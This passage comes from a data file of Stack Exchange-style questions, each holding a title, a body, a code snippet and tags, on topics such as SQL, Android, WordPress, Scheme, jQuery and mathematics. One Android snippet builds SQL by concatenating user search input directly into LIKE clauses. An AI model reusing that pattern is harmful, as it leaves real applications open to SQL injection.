catalogue value its fine. when I try adding it via a variable it just doesn't pick
it up.\nThis works:\n\nThis doesn't:\n\nWhen I debug the catalog is empty in the
query string but the WASP variable holds the value \"WaspTrackAsset_NROI\"\nAny
idea's why?\nCheers,\njonesy\n\n", " Dim WaspConnection As New
SqlConnection(\"Data Source=JURA;Initial Catalog=WaspTrackAsset_NROI;User id=\" &
ConfigurationManager.AppSettings(\"WASPDBUserName\") & \";Password='\" &
ConfigurationManager.AppSettings(\"WASPDBPassword\").ToString & \"';\")\n", "sql
vb.net query-string"], "3214549": ["SQL group where clause by employee", "I have a
query that return employees:\n\nHow would I say if abc exists for the employee then
result = yes and if abc doesnt exist then no?\nWhat I would want to see is this:\n\
n", "Name Form\nBob abc\nBob gfd\nBob fgf\nJohn abc\
nGavin abc\nJessie ala\nJessie asf\n", "sql sql-server tsql aggregate-
functions"], "4145758": ["Use MergeCursor", "I have 3 requests to the database,
which return Cursor a,b,c. Sample query: \n\n\u041dow to combine the result of
three cursors using MergeCursor?\nI wrote:\n\nhow to further combine the results of
three cursors? \nexample seen\n Need an answer more.Thank you!\n", "public Cursor
SearchQueryMoscow (String query ){\n Cursor m;\n a =
sqldb.query(true, DataBase.TABLE_NAME, new String[]{KEY_ROWID,ADRESS2,TIME2\n
,PRICE2,OBJECT2,OPICANIE2,FINDWC2,DISTANSHIONMETRO2,CITY2},CITY2 + \" IN ('ROMA')
and (\"\n + \" adress LIKE \" + \"'%\" + query + \"%'\" \n
+ \" OR gowc LIKE \" + \"'%\" + query + \"%'\"\n + \" OR
timework LIKE \" + \"'%\" + query + \"%'\"\n + \" OR price
LIKE \" + \"'%\" + query + \"%'\"\n + \" OR mesto LIKE \"
+ \"'%\" + query + \"%'\"\n + \" OR opicanie LIKE \" + \"'%\" +
query + \"%'\"\n + \" OR distanshionmetro LIKE \" + \"'%\" +
query + \"%')\"\n , null, null, null, null, null); \nreturn
a ;} \n", "android cursor"], "1813152": ["How to migrate a website from Drupal to
Joomla or Wordpress?", "I am trying to migrate a website http://www.dominical.biz
from Drupal to Joomla or Wordpress. What is the best and easiest possible
solution?\n", "", "wordpress drupal joomla"], "917204": ["Windows Server Folder
Replication", "I have two servers using MS NLB for IIS and this is working great.\
nI have a D:\\Websites\\ directory on both servers that contain the html, css,
aspx, and images etc. I would like to have the D:\\Websites\\ directory on ServerA
be replicated to D:\\Websites\\ on ServerB. I don't need any snyc, just a brute
copy/replace from ServerA -> ServerB.\nWhat is the best way to achieve this?\n",
"", "windows iis directory"], "4574731": ["Is there an API Reference for GNAT GPL
(LEGO MINDSTORMS NXT \u2013 Ravenscar Edition)", "I am trying to code my NXT using
GNAT GPL for LEGO MINDSTORMS NXT \u2013 Ravenscar Edition which uses the Ada
language. Some examples are provided with the installation but is there an API
reference (something like Java?) that allows me to see what functions are available
for which package?\n", "", "gpl ada nxt lego gnat"], "643315": ["What is the
performance impact of changing the DB Owner in SQL Server 2005?", "If I have two
accounts, where:\n\nboth accounts have DBO level access (use the DBO schema to log
in, and are part of the owner group)\none of the accounts is listed as the \"actual
owner\"\nboth accounts are currently in use, and will continue to be in use,
running long term (2+ hour) operations on the database\nI want to switch
the \"actual owner\" from one account to the other\n\nWhat kind of performance
impact should I expect to see on the database?\n", "", "sql-server-2005 performance
permissions"], "4776710": ["Windows phone 7 Mango Development Links", "I am new to
Windows Phone development. I am starting by learning C# and Silverlight. Does
anybody have any links/resources for learning Windows Phone Mango?\n", "", "c#
silverlight windows-phone-7 windows-phone-7.1"], "2774836": ["How to use Pattern
layout with SocketAppender", "I read org.apache.log4j.net.SocketAppender does not
use a Layout.\nBut, I really need to format my logs and I need to use a
ConversionPattern.\nDoes anybody know an alternate to this? I have to use some kind
of SocketAppender.\nThanks\n", "", "layout appender"], "1856278": ["search in
source files", "\nPossible Duplicate:\nIn Vista Explorer, how can I search the
contents of all files in a directory for a word? \n\nI have a Windows7 and I need
to search some mostly C# files for different text. Windows doesn't seem to search
them. How can I search them? \n", "", "windows search text"], "3399468": ["Right
mix of planning and programming on a new project", "I am about to start a new
project (a game, but thats unimportant). The basic idea is in my head but not all
the details.\nI don't want to start programming without planning, but I am
seriously fighting my urge to just do it. I want some planning before to prevent
refactoring the whole app just because a new feature I could think of requires it.
On the other hand, I don't want to plan multiple months (spare time) and start that
because I have some fear that I will lose my motivation in this time.\nWhat I am
looking for is a way of combining both without one dominating the other. Should I
realize the project in the way of scrum? Should I creating user stories and then
realize them? Should I work feature driven? (I have some experience in scrum and
the classic \"specification to code\" way.)\nUpdate: How about starting with
a \"click dummy\" and implementing the functionality later?\n", "", "project-
management agile"], "1208361": ["Add a drawable to a View, but the layout is
incorrect", "I defined a drawable in xml:\n\nAnd use it in layout xml:\n\nThe
effect is (the first tab):\n\nWhen click the other tabs, I add the drawable as
their background by code:\n\nBut it displays different as the first one:\n\nHow to
fix it?\n", "<shape xmlns:android=\"http://schemas.android.com/apk/res/android\" >\
n\n <padding\n android:bottom=\"1dp\"\n android:left=\"0dp\"\n
android:right=\"0dp\"\n android:top=\"5dp\" />\n\n <corners\n
android:bottomLeftRadius=\"0.1dp\"\n android:bottomRightRadius=\"0.1dp\"\n
android:topLeftRadius=\"15dp\"\n android:topRightRadius=\"15dp\"
/>\n\n</shape>\n", "android layout background styles"], "1830444": ["How to get
Src: path to .ascx file", "Work on vs2008 C#Asp.net.In my project i need to get all
controls path like:.aspx and .ascx page and controls path.Click on button i want to
open select project item as my picture ,after select the desired control i want to
get the path same as picture.so i need to open this window and need to get path.i
want to know How to open this window and how to get the path.Thanks in advance .\
nIf have any query plz ask.\n\n", "", "c# asp.net path filepath webcontrols"],
"5110120": ["two-way, repeated-measures ANOVA for mixed design in python?",
"Does anybody know of a python function for performing two-way, repeated-measures
ANOVAs for mixed experimental design (2 groups, 4 conditions)? I looked at
scipy.statistics, but they don't seem to have what I need (unless I missed it...)\
nThanks\n", "", "statistics"], "2431035": ["iPhone can't connect to internet on
other subnet, but other computers can", "Here's my setup; I'm a router newb so I
don't completely understand the intricacies of my configuration - but suffice it to
say, I've set it up this way so that anyone who's connected to Router A can't ping
anyone on Router B but anyone on Router B can ping anyone on Router A as well as
getting an internet connection.\nRouter A:\n\nIs the ISP's provided router. \nIP:
192.168.1.1 \nSubnet: 255.255.255.0 \nDHCP\n\nStart IP: 192.168.1.2 \nEnd IP:
192.168.1.12 \nPrimary DNS: 192.168.1.1 \nDefault Gateway: 192.168.1.1 \nDNS
Proxy Enabled (don't know what this does exactly, it's on by default) \n\nLAN port
1 connects to WAN port on Router B \nHas it's own wireless network (for guests to
use)\n\nRouter B:\n\nIs my own router with Tomato firmware loaded. \nIP:
192.168.0.0 \nSubnet: 255.255.255.128 \nStatic DNS: 192.168.1.1\nDHCP\n\nStart
IP: 192.168.0.1\nEnd IP: 192.168.0.126\n\nWAN port connected to LAN port 1 on
Router A\nHas it's own wireless network (for employees to use)\n\nSo if I were to
connected to Router B I'd have access to all the computers that are also connected
to it. I'd also be able to connect to devices connected to Router A. Devices on
Router A however do NOT have access to any devices on Router B. The problem I'm
having is that some smart phones like the iPhone can't ping devices on Router A
(and thus can't connect to the internet). My laptop and other computers work just
fine though. When the iPhone is connected to Router A, the internet works fine as
well.\nLooking at the settings the iPhone gets, they all seem to match what my
other computers get. The DNS and Gateway are both 192.168.0.0 (same as other
computers). I'm not sure what the deal is.\nOn a side note, my Windows Phone 7
seems to work OK on the private network. My brother's Android - like the iPhone
doesn't work.\n", "", "dns ping subnet iphone"], "5989603": ["Help understanding
Continuations in Scheme", "I have been working alongside The Little Schemer to
learn Scheme and using PLT-Scheme for my environment.\nThe Little Schemer has
helped me tremendously with recursion (it is straightforward for me now) but I'm
stuck on a portion of the book that introduces \"collectors\" and calls the
function as a whole a continuation.\nHere is the example code they have used. I
understand the recursive elements but I am stuck, in particular on the lambda
functions - my mind can't follow the path and how the arguments for that lambda
function are set (since their only call is to call them again in recursion, there
is no concrete use within the function body).\nIf someone could more-or-less give
me a break down of the path of computation through the recursion of the function
into the lambda collectors, that may help me.\n\nThank you in advance!!\n", ";;
Build a nested list of even numbers by removing the odd ones from its\n;; argument
and simultaneously multiply the even numbers and sum the odd\n;; numbers that occur
in its argument.\n(define (even-only-collector l col)\n (cond\n ((null? l)\n
(col (quote ()) 1 0))\n ((atom? (car l))\n (cond\n ((even? (car l))\
n (even-only-collector (cdr l)\n (lambda (newl p s)\n
(col (cons (car l) newl)\n (* (car l) p) s))))\n (else\n
(even-only-collector (cdr l)\n (lambda (newl p s)\n (col
newl\n p (+ (car l) s)))))))\n (else\n (even-only-collector
(car l)\n (lambda (al ap as)\n (even-only-collector (cdr l)\n
(lambda (dl dp ds)\n (col (cons al dl)\n (* ap dp)\n
(+ as ds)))))))))\n\n;; The collector function\n(define (collector newl product
sum)\n (cons sum\n (cons product newl)))\n", "lisp scheme racket
continuations"], "3508619": ["Redirect referring page after login and template the
profile page in wordpress", "Hi\nI'm having a wordpress site(still offline) which
is basically a news paper site. Users has to registered to comment. My problem is
that when users login for commenting on any article, they are redirected to profile
page (or to home page if i use some plugins)... but the standard should be
redirecting them to the referring page as to comment on that was the reason they
logged in. What is the solution for this? \nAnd another thing is the user profile,
my site actually don't need a user profile but need option to change the password.
By default the profile is same like the wp dashboard, how do i template it? Is it
author.php file that i have to work on? \n", "", "wordpress redirect login profile
referrer"], "830473": ["Open source software with good code documentation to
improve design skill", "As I'm trying to get better at designing good software I'm
wondering if there are out there good (as in well written) open source software
with lot of code documentation that aims to explain details about why this or that
design choice was made in the context of that specific problem set. I'm interested
in OOP and I don't really care much about the language (php / java / c# are
preferred tho :))\nExample:\nProblem: X\nPossible way to handle this problem: A, B,
C.\nWe choose B because... (technical details about the implementation, pros and
cons, code comments etc)\n", "", "design learning design-patterns documentation
object-oriented-design"], "2164724": ["Windows Mobile Device with Webcams Plugged
In", "I am exploring the possibility of plugging webcams (preferrably any webcam so
I don't get tied to a particular hardware vendor) into a Windows Mobile 5 or 6
device, and write a piece of software app that allows user to click a button in
that software app to get the webcam to take pictures or video streams.\nSo, I will
need to know if this is possible to write a software app to do so on Windows Mobile
5 or 6 platforms? .NET is preferred but not essential.\nWhat exactly do the webcam
need to adhere to (for example, TWAIN)?\nI had a look on the internet but no luck
so far.\nAny pointers will be welcome.\nThanks.\n", "", ".net windows-mobile
webcam"], "4439191": ["Is there anyway to convert a list into a variable for use as
a dictionary key?", "So I have a list that holds a set of alphabetical values, that
are names in a dictionary, for example:\n\nWhere the individual variable names are
keys that i am using in a dictionary, but my problem is, the list of HIB together
represents another variable, that i wish to define in the dictionary as a keyword
of HIB. So my question is, how do i convert this list into a variable,
preferably:\n\nSo I can then assign it a key in my dictionary using:\n\nBecause
obv. you cannot call lists in dictionaries.\nthanks!\n", "['H', 'I', 'B']\n",
"python list variables dictionary"], "3501588": ["Does the Fedora installer not
include default URLs for installation mirrors?", "I installed Fedora 14 using a
slightly non-standard method, i.e. loading the install media vmlinuz/initrd.img
files via an existing grub2 instance. (I fetched them from a mirror).\nThe
installer works fine, but I was a little bit surprised that after selecting the
network install route I had to manually enter the URL of a FC14 mirror.\nLuckily, I
am having a secondary computer with network access available for looking up mirror
URLs.\nDoes the FC14 not include any default install mirror urls? Or am I missing
something?\n", "", "fedora install"], "3501586": ["What are some BSD OR MIT
Licences wysiwyg jQuery Editors, Thats cross browser?", "I can't really seem to
find one i like... Any suggestions?\nI just want it to do the basic's. Bold,
Italic, Underline, Font Size, Link, html view.\n", "", "jquery wysiwyg"],
"5976277": ["How to compare two xml schemas", "We generate xml schema for our web
services. \nAmongst other details these schema contain the defintion of the
complex types consumers of our services pass in.\nThose complex types can change if
our third party suppliers decide they want to add more details but as can be
imagined that's something that shouldn't happen on the whim of a developer.\nSo
we'd like to compare schemas to ensure that we're deploying what we think we ought
to be and if there are changes, what they are.\nThere's always XMLDiffPatch.exe I
guess but I wondered if anywhere in the .net framework there was some schema
specific functionality that would make comparing schema more strightforward.\n",
"", ".net comparison xml-schema"], "1237063": ["How to display subcategory articles
in the category view?", "I have the wordpress category widget installed on my
website that lists all categories/subcategories on my site and their hierachy:\n\nI
am using the following permalink structure:\n\nWhen I click on the parent
categories \n\n\n\nit shows the category view and lists all articles in that
category.\nBut when I click on a subcategory\n\n\n\nit doesn't show the category
view, it doesn't list all the articles in the subcategory. Instead it redirects to
the first article in the sub category.\nHow can I get Wordpress to display all
articles in a subcategory?\n", "Watch Accessories (1)\n - Straps (1)\nWatch
Glossary (5)\nWatch Guides (1)\n - Maintenance (1)\nWatch News (2)\n - New Releases
(2)\nWatch Reviews (7)\n - Christopher Ward (1)\n - Hamilton (1)\n - Seiko (2)\n -
Tissot (2)\n - Vostok (1)\n", "posts categories permalinks"], "684982":
["Flash/ActionScript: Draw a display object \"onto\" another", "How do I properly
draw one vector object onto a specific position of another in ActionScript,
accounting for positioning, transparency,
etc?\nMy idea (as suggested e.g. here) was to use () and () to draw a bitmap copy
(made using ()) of one MovieClip onto the . property of the other MovieClip, but
this proved more difficult than I thought, mainly for these reasons:\n\
nTransparency is not preserved: where the source MovieClip is transparent, the
target Graphics becomes white. I've tried using a , but it doesn't help. It seems
white pixels are actually copied into the BitmapData. I must be missing something,
but I don't know what. It seems the problem was that the documentation for the
constructor is wrong: transparency does not default to true, but to false. So if
you create a transparency is preserved, otherwise not. \nPositioning. If the
source MovieClip is centered (with the center at (0, 0), you have to apply a Matrix
to move it when copying it to a BitmapData, or the bitmap will only contain the
bottom right of the source MovieClip. Figuring out how much to move it is tricky,
and I assume it involved getting the boundaries somehow. (If the source object is
perfectly centered within its canvas, you can simply offset it by half its width
and height, of course.)\n tiling. It seems if you don't start the () at (0, 0), the
bitmap fill doesn't start from (0, 0) within the bitmap either. This means you have
to shift the source bitmap once again, based on where you want to start drawing.\n\
n(Then there's other stuff like having to lineStyle(0,0,0) so the drawRect()
doesn't draw a border etc.)\nAll this tricky trouble leads me to believe I'm going
about this the wrong way. Is there an easier way to do this? Is there a library
somewhere that can help me? Has anyone successfully done this? Perhaps my drawing
canvas shouldn't be a Sprite but a Bitmap? But then I don't know how to draw to it
using () etc.\nHere's the situation: I have a Sprite to which I draw using
its .graphics, using lineTo() etc. Now I want to use a MovieClip as a brush when
drawing (or just place a copy of another MovieClip on the drawing surface), making
the other MovieClip part of the graphics of the first one. I can't () because then
the vector graphics wouldn't interact with the drawn graphics. \n\nEDIT: Theo has
provided a working solution that works perfectly except for the fact that it does
not apply the rotation and scaling applied to the DisplayObject being drawn onto
the Graphics surface. This is Theo's solution:\n", "beginBitmapFill", "flash
actionscript-3 actionscript graphics bitmap"], "1791630": ["How do I get a return
value from a shared library function?", "I read a few tutorials about loading
shared libraries and call functions in them. I succeded on both points. There's
just one thing I didn't see in any of the tutorials:\nHow do I return a value from
a function in a shared library to the main code?\nThis is my shared library
source:\n\nWhen i call it, i get \"this is a working plugin\" on the stdout. My
question is now, how i can get the \"here we go\" string back to the main.c which
looks like:\n\nSomething like this does not work:\n\nSo, any ideas?\nThank you.\n",
"#include <stdio.h>\n\nchar* entry(){\n printf(\"this is a working plugin\\n\");\
n\n return \"here we go!\";\n}\n", "c return shared"], "3527228": ["How to upload
a one terabyte file to Amazon S3 via webapp?", "I would like to know how to upload
large files to amazon S3 (> 1 terabyte)\nIdeally the web-app upload mechanism
should have:\n\nReal time progress bar \nUpload Speed stats \nPause / Resume
Support \nUpload directly from computer to amazon S3 \nMemory efficient, so that
the large file can be sent via the web browser.\n\nI have tried Uploadify S3 via
Django. Although it looks like it can not handle large files very well. \nDoes
anyone know about an existing demo app on Github or documentation using any of the
following languages?\n\nRails\nDjango\nPHP\nJava\n\nRecently, also I have goggled
about the Knox S3 library and nodejs, although I haven't found a demo app for
uploading.\nThanks in advance!\n", "", "node.js file-upload amazon-s3 amazon-web-
services knox"], "4195690": ["Scalaris vs CouchDB", "I have this requirement to use
a document store for one of the applications. I am assuming scalaris and couchdb
are comparable as document stores. Do you have any experiences to share on these
two solutions? Do you think one is better than the other?\ntransactions are
attractive to me from scalaris. With little erlang background I have more trust on
solutions built on Erlang. riak is another one I found interesting. So please share
your thoughts or pointers to more information on them.\n", "", "erlang couchdb
riak"], "4810651": ["Factoring the polynomial $2x^2 - 2x + 2$", "I saw in my book
that $2x^2 - 2x + 2$ factored became $2(x^2 - x + 1)$.\nWhy it does not became
$2(x(x - 1) + 1)$? Is it wrong or correct as well?\n", "", "algebra-precalculus
polynomials factoring"], "3989486": ["How to run selenium API with dot-net (using
c#)", "My company ask mt to write a program for testing without using selenium IDE
and firefox.\nHow can I use windowform to build a selenium-base program??\nI always
only import dll.file to Nunit and test.Now how can I just run in my own program?\
n", "", "c# .net selenium nunit"], "1823850": ["Sed: how to replace nextline \\n
symbol in text files?", "I need to fix an error and to replace the second tag with
` in an XML file with the following structure:\n\nI'm trying to do it using sed and
since I have 2 closing tag per item, my idea is to replace with .\nHowever there
is a next line symbol in between, so I'm using but it doesn't work:\n\nAny help?\
n", "</time>", "text-processing sed"], "3511535": ["How to marshal a list in C#",
"I have to send a list from C# to C++.The C# list is and the C++ code accepts it
as .How to use marshalas for this.\nThanks\n", "List<string>MyList", "c# c++
interop"], "696306": ["How to center facebook pop up app authentication", "I'm
creating a login/registration using Facebook Graph and i made a popup on app
authentication. It works fine except on the frontend, it doesn't center my app
dialog. Here's a screenshot.\n\nIs there a variable i need to pass so that it will
fit my pop up window?\n", "", "javascript facebook facebook-graph-api popup"],
"2514275": ["WorkFlow Foundation 4 WorkflowApplication Completed Outputs Are
Blank", "I have just started wrapping my head around WF4; and I'm struggling to
understand why my outputs are blank within my workflow.\nFirst, I have an .xaml
that contains a Sequence object (or Activity?); which in turn contains
a \"FirstCodeActivity\", which contains the following code:\n\nFrom my
understanding, this should return the value \"Yes\" within the FirstCodeHasExecuted
property when the bookmark is set.\nWhen debugging, I can confirm that the bookmark
event is successfully fired.\nHere is my WF4 initialisation code:\n\nMy issue is
that I can understand why e.Outputs returns no items within its dictionary, even
though I the property is set within the FirstCodeActivity.\nAm I going about this
wrong? My first thoughts are that the sequence is run as a different context, and
therefore doesn't contain the outputs from the FirstCodeActivity.\nAny help would
be appreciated.\nMatt\n", "public class FirstCodeActivity : NativeActivity\n{\n
public OutArgument<string> FirstCodeHasExecuted { get; set; }\n\n protected
override void Execute(NativeActivityContext context)\n {\n
context.CreateBookmark(\"FirstBookmark\", OnResumeBookmark);\n }\n\n protected
override bool CanInduceIdle\n {\n get { return true; }\n }\n\n public void
OnResumeBookmark(NativeActivityContext context, Bookmark bookmark, object obj)\n
{\n FirstCodeHasExecuted.Set(context, \"Yes\");\n }\n}\n", "c# arguments
workflow-foundation-4 bookmarks"], "1086870": ["GWT Handler to SplitLayoutPanel
drag", "Is it possible in GWT to had a handler that detects that the knob pf
SplitLayoutPanel is been drag or pressed?\nThanks for the help.\n", "", "gwt
handler splitpanel"], "2776095": ["LAN connection drops when screen turns off", "I
have a very strange issue with my network connection on my laptop.\nMy LAN
connection disconnects every time my lcd screen light turns off. and when I press a
key or move the mouse to turn on the screen the lan connection restarts and gets
connected again. but it will be disconnected all the time that the screen is off.\
n\nSystem: \n Lenovo-T500 (\n Win7 Pro x64 )\n\nI have a PC with the same OS
connected to the same network and don't have this problem with my PC it's only
happening to my laptop.\nthis will even happen if I turn my laptop's screen off
manually using a function key.\n", "", "windows-7 lan lenovo"], "2824182": ["jquery
script doesn't work properly", "I have three number intervals represented with 6
dropdown lists... the intervals shouldn't overlap, so i use change event on each
dropdown list to check if there is overlaping.. The thing is the script works at
the beggining, but after a while it starts to work confusing..\nHere is a part of
the javascript:\n\nand it goes similar for the other two intervals..\nstart1 and
end1 are ids of the first interval dropdown lists (start and end value) start2 is
id from the second interval...\nI solved it....\n", "var $j = jQuery.noConflict();\
n$j(document).ready(function(){\n\n$j(\"#start1\").change(function() {\n\n\nif
( ($j(\"#end1\").val()) < ($j(\"#start1\").val()) )\n{\n
$j(\"#end1\").val($j(\"#start1\").val()).change();\n}//else do not change it\n});\
n\n$j(\"#end1\").change(function() {\n\nif ( ($j(\"#end1\").val()) <
($j(\"#start1\").val()) ) \n{ \n $j(\"#end1\").val($j(\"#start1\").val());\
n //show message to user to enter bigger value\n $j(\"#error1\").text(\"You
should enter bigger value.\");\n} \nif ( ($j(\"#end1\").val()) >=
($j(\"#start2\").val()) ) \n{\n
$j(\"#start2\").val(parseInt($j(\"#end1\").val()) + 1).change();\n}\n});\n",
"jquery drop-down-menu"],
"143571": ["How to prove $\\left\\|\\ln\\left(e^{iH_1}e^{iH_2}\\right)\\right\\|\\
leq\\left\\|H_1\\right\\|+\\left\\|H_2\\right\\|$?", "Let $H_1$ and $H_2$ denote
arbitrary Hermitian operators (finite dimensional) and let $\\left\\|\\ldots\\
right\\|$ denote the usual operator norm. I conjecture that\n$$\n\\left\\|\\ln\\
left(e^{iH_1}e^{iH_2}\\right)\\right\\|\\leq\\left\\|H_1\\right\\|+\\left\\|H_2\\
right\\|\\ ,\n$$\nbut have no idea how to prove this. If $H_1$ and $H_2$ commute,
it reduces to the triangle inequality. Cauchy-Schwarz and Golden-Thompson come to
mind, but do not seem to help. \n", "", "linear-algebra geometry matrices
inequality logarithms"], "4207576": ["Issuse with displaying customised Error 404
page", "I'm trying to implement a customised 404 error page but this is what i get
\n\nInside my .htaccess I have this\n\nboth the .htaccess and 404.php are in the
same directory. Please what could the problem be.\nUPDATE\nafter removing the
initial forward slash infront of 404.php.. It now looks like this\n\nI now get
404.php displayed on the screen when i enter an invalid link, meanwhile i have a
well formatted 404.php page.\n", "**The requested URL /about/hdhdhdh.php was not
found on this server.\n Additionally , a 404 Not Found error was encountered while
trying to use an ErrorDocument to handle the request**\n", "php .htaccess http-
status-code-404"], "4389445": ["Android Click button to next activity but it
freezes the layout", "I have 3 buttons on each layout. When i clicked on button MOH
in results.xml, MOHactivity is invoked and displayed the results_health layout. But
when i wanted to click any button in results_health, it is like the screen has
frozen. But, if i clicked on BACK button, it will go back to my main activity. I
have no idea how to play around with this. Thanks.\nResultsActivity.java is same
for Result_PDRM.java & Result_MOH.java(oncreate())\n\nresult.xml is also same with
results_health.xml & result_pdrm.xml (results_health don't have MOH ImageView,
results_pdrm don't have PDRM ImageView)\n\nPlease help.\n", " ImageView
myMOHButton = (ImageView) findViewById(R.id.MOH_Button); \n
myMOHButton.setOnClickListener(new View.OnClickListener() { \n public
void onClick(View v)\n { \n
setContentView(R.layout.results_health);\n\n } \n }); \n\n
ImageView myPDRMButton = (ImageView) findViewById(R.id.PDRM_Button); \n
myPDRMButton.setOnClickListener(new View.OnClickListener() { \n public
void onClick(View v)\n { \n
setContentView(R.layout.results_pdrm);\n } \n }); \n\n
ImageView myMainButton = (ImageView) findViewById(R.id.Main_Button); \n
myMainButton.setOnClickListener(new View.OnClickListener() { \n public
void onClick(View v)\n { \n
setContentView(R.layout.main);\n\n }\n }\n ); \n",
"android layout button"], "615381": ["Get Terminal tab current directory when
process is running", "Is it possible to get tabs current directory when process is
running in that tab without stopping that process? My intention is to create tab
next to current with same directory. I sure can press , run (ruby script using
appscript that duplicates tab) and then , but I hope for way without stopping
process.\n", "\u2303Z", "osx terminal tabs"], "5907141": ["How to duplicate and
EmbeddedDocument in Doctrine (with MongoDb)", "In in Doctrine ODM 1.0beta3, I need
to take an @EmbeddedDocument from a Document, and to put it in another Document.\
nHowever when I try to do this, I get strange results.\nThere is a way to duplicate
and EmbeddedObject?\nEDIT:\nThe \"strange\" result is that a property of this
embedded document is inserted alongside the other embedded documents.\n\nMore
details:\nI have a embedded document with several documents in an relationship:\
n\nAlso some s have another in a property called :\n\nWhat I'm trying to do is to
get the $callback Job, add a value to the $result hash and to enqueue this Job in
the $jobs array().\nWhat I get is the Job enqueued, but also the $result hash in
the $jobs array, as if it was a Job document.\njobs array from mongodb:\n\nThe code
is this:\n\n", "Queue", "mongodb doctrine mongodb-php"], "5193339": ["CakePHP keep
session from main domain across to a subdomain", "I am working with Cakephp and I
have an issue maintaining session across subdomains. My problem is as follows:\n\
nUsers login on 'localhost/login'\nIf authenticated they are redirected to
'customer.localhost/home'.\n\nCurrently Cake is creating a cookie for each domain
ie localhost and customer.localhost.\nThis means that I cannot keep the session
working for the user. Is there a way to make all cookies domain fixed to the parent
domain with the goal of keeping the session working across subdomains?\nI have
tried entering this in my bootstrap but it has no effect:\
nini_set('session.cookie_domain', '.localhost');\nIf you think this cannot be done
please feel free to let me know so that I can move on from this frustrating
problem.\nMany thanks,\nkSeudo\n", "", "session cakephp authentication"],
"2416811": ["Access ACS Azure from Winforms", "I have an Azure webrole that
requires ACSv2 authentication that I want to access from a winforms application.
Many of my clients use Windows XP so I can not use the WIF (which is not available
on Windows XP). What is the best way to get an authentication token for my web
request in this case?\n", "", "winforms azure acs"], "2803553": ["Enum Naming
Convention - Plural", "I'm asking this question despite having read similar but not
exactly what I want at http://stackoverflow.com/questions/495051/c-naming-
convention-for-enum-and-matching-property\nI found I have a tendency to name enums
in plural and then 'use' them as singular, example:\n\nOf course it works and this
is my style, but can anyone find potential problem with such convention? I do have
an \"ugly\" naming with the word \"Status\" though:\n\nAdditional Info:\nMaybe my
question wasn't clear enough. I often have to think hard when naming the variables
of the my defined enum types. I know the best practice, but it doesn't help to ease
my job of naming those variables.\nI can't possibly expose all my enum properties
(say \"Status\") as \"MyStatus\".\nMy question: Can anyone find potential problem
with my convention described above? It is NOT about best practice.\nQuestion
rephrase:\nWell, I guess I should ask the question this way: Can someone come out a
good generic way of naming the enum type such that when used, the naming of the
enum 'instance' will be pretty straightforward?\n", "public enum EntityTypes {\n
Type1, Type2\n}\n\npublic class SomeClass {\n /*\n some codes\n */\n\n public
EntityTypes EntityType {get; set;}\n\n}\n", "c# .net enums naming-conventions
plural"], "2229542": ["Virtual PC Scripting", "Does Microsoft Virtual PC have any
scripting capabilities? I'm trying to automatically launch a web browser inside the
VM and have it go to url specified by a parameter.\n", "", "virtual-pc script"],
"5586468": ["Solaris 11.1 x86 won't boot, verifying DMI Pool. How to install or
verify boot blocks", "x86 Solaris 11.1 had a mirrored ZFS root pool (rpool) which
was 2x 320GB disks, I detached one and replaced with a 500GB disk which resilvered
ok so ran the \"bootadm install-bootloader\" and did the same for the remaining
320GB disk. Rebooted and it hangs at \"Verifying DMI Pool.....\" \nI've checked the
correct disk is selected to boot so believe the boot files didn't install afterall.
I booted from LiveCD then\n\nbut it doesn't change anything. How can I check the
boot files are installed and correct, what is correct for an x86 install? any other
suggestions?\n", "# zpool import rpool\n# bootadm install-bootloader -P rpool ALSO
TRIED # bootadm install-bootloader -M -P rppol to install in MBR\n#zpool export
rpool\n#init 6\n", "solaris boot-loader"], "5655276": ["How does one graduate from
Hecke Operators to Hecke Correspondences?", "I've read (skimmed heartily) basic
books on the topic of modular forms. (The last being Silverman's Advanced Topics in
the Arithmetic of Elliptic Curves.)\nI strive for an understanding which is as
mathematically mature as possible. (Read: strive for a Langlands-program-ish
understanding.) Alas, I am still far from succeeding.\nI have heard on many an
occasion people referencing \"Hecke correspondences\". I am aware of the definition
of a correspondence, but I'm at a loss of how to think about Hecke correspondences!
What made them arise? How are they helpful? What suggested to anyone that they
should define them? How do they relate to Hecke operators? Is this thing helpful
towards Langlands?\nAch... Hopefully this is within the realm of mathstackexchange
(or is this more appropriate to mathoverflow?). This has been gnawing at me for
months.\nReferences are also welcome. \n", "", "number-theory algebraic-number-
theory modular-forms"], "4422237": ["jQuery \"autocomplete\" doesn't work", "The
JQuery autocomplete code seems correct, but, does not work.\nThe code seems simple
enough, and I did not see any javascript errors using \"Developer tools\" in IE8,
or the \"firebug\" tool in FireFox...\nBut, nothing \"drops down\" from the listbox
when a letter (e.g., \"a\") is typed into the input field...\nPlease let me know
if you can see anything amiss. I apparently am not \"seeing the forest for the
trees\" at this point.\nHere is the snippet from the definition of the
JSF \"Composite Component\"...\n\n\n\nHere is snippet of view tag contents from the
page where the above composite component is used...\n\nHere is the backend java
snippet...\n\nThank you for any assistance!\nsd\n", "", "jquery jquery-ui jsf-2
autocomplete"], "697676": ["Is there a StyleCop-like
plug-in for Eclipse?", "I want to program in Java and would like something that
works like StyleCop in Visual Studio.\nDoes anyone know about something like that?\
n", "", "eclipse-plugin"], "3529278": ["Multiple Collection Queries in Template",
"So I have this:\n\nBut \"deck\" is returning undefined, even though calling the
same query from the browser console returns results.\nI feel like this is a
reactivity issue and there is something fundamentally wrong with how I'm going
about achieving this. It feels like a very relational way to go about things, I'm
new to non-relational data storage too. I feel like there might be something
fundamentally wrong with the way I'm going about this but I'm new to Meteor, I've
trawled through the docs but can't find where I might be going wrong. Any help is
greatly appreciated.\n", "Template.cards.cards = function () {\n var deck =
Deck.findOne({active: 1});\n var cards = Cards.find({deck_id:
deck['_id']}).fetch();\n return cards;\n}\n", "meteor"], "5549046": ["Remove items
from list of dicts with a matching attribute", "I have a list of dicts for
instance:\n\nSo I'd like to apply to and end up with only:\n\nI was thinking
something along the lines of: \n\nObviously this doesn't work, but I'm interested
to know whether I was even close. I was also interested to see if this is even
possibly in a single line.\n", "data = [\n { 'id': 1 },\n { 'id': 2 },\n {
'id': 3 },\n { 'id': 4 },\n { 'id': 5 },\n]\n\nremove_ids = [3,4]\n", "python
list dictionary"], "6007752": ["Echo JavaScript alert of a PHP array value on an
HTML button?", "I'm trying to use PHP to echo a set of buttons (buy & sell) in a
stock trading game. The buttons will eventually have an onclick= event handler that
calls a JavaScript function to populate some fields on a form, but I'm just trying
to get an alert() with one piece of data to work. I just can't get the results from
my echo statement to print the alert correctly, so it doesn't even trigger. I've
also used print_r ($stockInfo) to ensure my array is properly filled with test
